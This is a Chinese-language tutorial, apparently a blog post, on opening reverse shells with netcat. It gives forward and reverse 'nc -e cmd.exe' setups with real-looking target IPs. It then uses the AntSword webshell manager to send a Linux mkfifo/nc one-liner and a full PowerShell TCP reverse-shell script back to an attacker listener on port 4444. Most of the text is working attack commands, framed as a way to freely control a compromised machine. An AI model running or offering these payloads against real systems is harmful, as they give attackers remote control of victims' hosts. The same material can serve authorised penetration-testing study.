反弹shell的方式——之NC反弹shell

反弹shell是指在攻击机监听某个端口,然后通过目标连接攻击机监听的端口,在攻击机反弹得到目标机的shell。通常在目标网络有防火墙或者其他因素限制,导致无法持续控制目标,或者执行命令受阻等情况时需要进行反弹shell

常见的反弹shell方式:

  1. bash反弹shell

  2. NC反弹shell

  3. python反弹shell

  4. ....

NC反弹shell

Netcat简称NC是一个简单可靠的网络工具,被誉为网络界的瑞士军刀。通过NC可以进行端口扫描,反弹shell,

端口监听和文件传输等操作,常用参数如下:

NC反弹shell-正向反弹D

实验拓扑如下图:

攻击机可以和靶机相互访问,这个时候可以使用正向shell

1.在靶机上运行:

nc -lvvp 1111 -e C://Windows\System32\cmd.exe

2.在攻击机上运行:

nc 172.25.254.156 1111

正向shell:攻击者连接到目标系统的监听端口。

NC反弹shell-反向反弹

实验拓扑如下图:

攻击机不可以直接访问靶机,但是靶机可以访问攻击者机器,这个时候可以使用反向shell

1.在攻击机上运行:

nc -lvvp 1111

2.在靶机上运行:

nc -e  C://Windows\System32\cmd.exe 10.100.24.5 1111

反向shell:目标系统连接到攻击者的监听端口。

### 蚁剑使用 `nc` 反弹 Shell 权限方法 #### 准备工作 为了实现通过蚁剑利用 `nc` 进行反弹Shell的操作,需要确保攻击机已经安装并配置好了NetCat (nc),并且能够正常运行。同时,在目标主机上也需要具备执行命令的能力。 #### 创建监听端口 在攻击者的机器上启动一个监听服务等待来自受害者的连接请求: ```bash nc -lvnp 4444 ``` 这条指令会在本地开启一个TCP监听器,其中 `-l` 表示监听模式;`-v` 提供详细的输出信息;`-n` 不解析DNS名称;而 `-p` 后面跟的是指定要监听的端口号[^1]。 #### 配置蚁剑客户端 打开蚁剑软件,新建项目后选择合适的协议类型(如HTTP(S)),设置好相应的参数之后保存项目文件。接着切换到“终端”选项卡准备发送反弹shell所需的payload给服务器端。 #### 发送反弹Shell Payload 假设当前已获得WebShell访问权限,则可以在蚁剑控制台里输入如下命令来触发反弹Shell行为: 对于Linux系统: ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.x.x 4444 >/tmp/f ``` 这里 `/bin/sh` 是指调用系统的Bourne shell解释程序创建交互式的子进程环境,并将其标准输入输出重定向到由 `nc` 建立起来的数据流管道中去[^3]。 而对于Windows平台则可以采用PowerShell方式来进行类似的处理: ```powershell $client = New-Object System.Net.Sockets.TCPClient('192.168.x.x',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (Invoke-Expression $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendByte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendByte,0,$sendByte.Length);$stream.Flush()};$client.Close() ``` 这段脚本实现了与上述Linux版本相同的功能——即建立反向连接并将cmd.exe的标准输入输出绑定到了网络套接字之上[^4]。 一旦成功建立了这种双向通信机制,就可以像操作自己的电脑那样自由操控远端设备了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值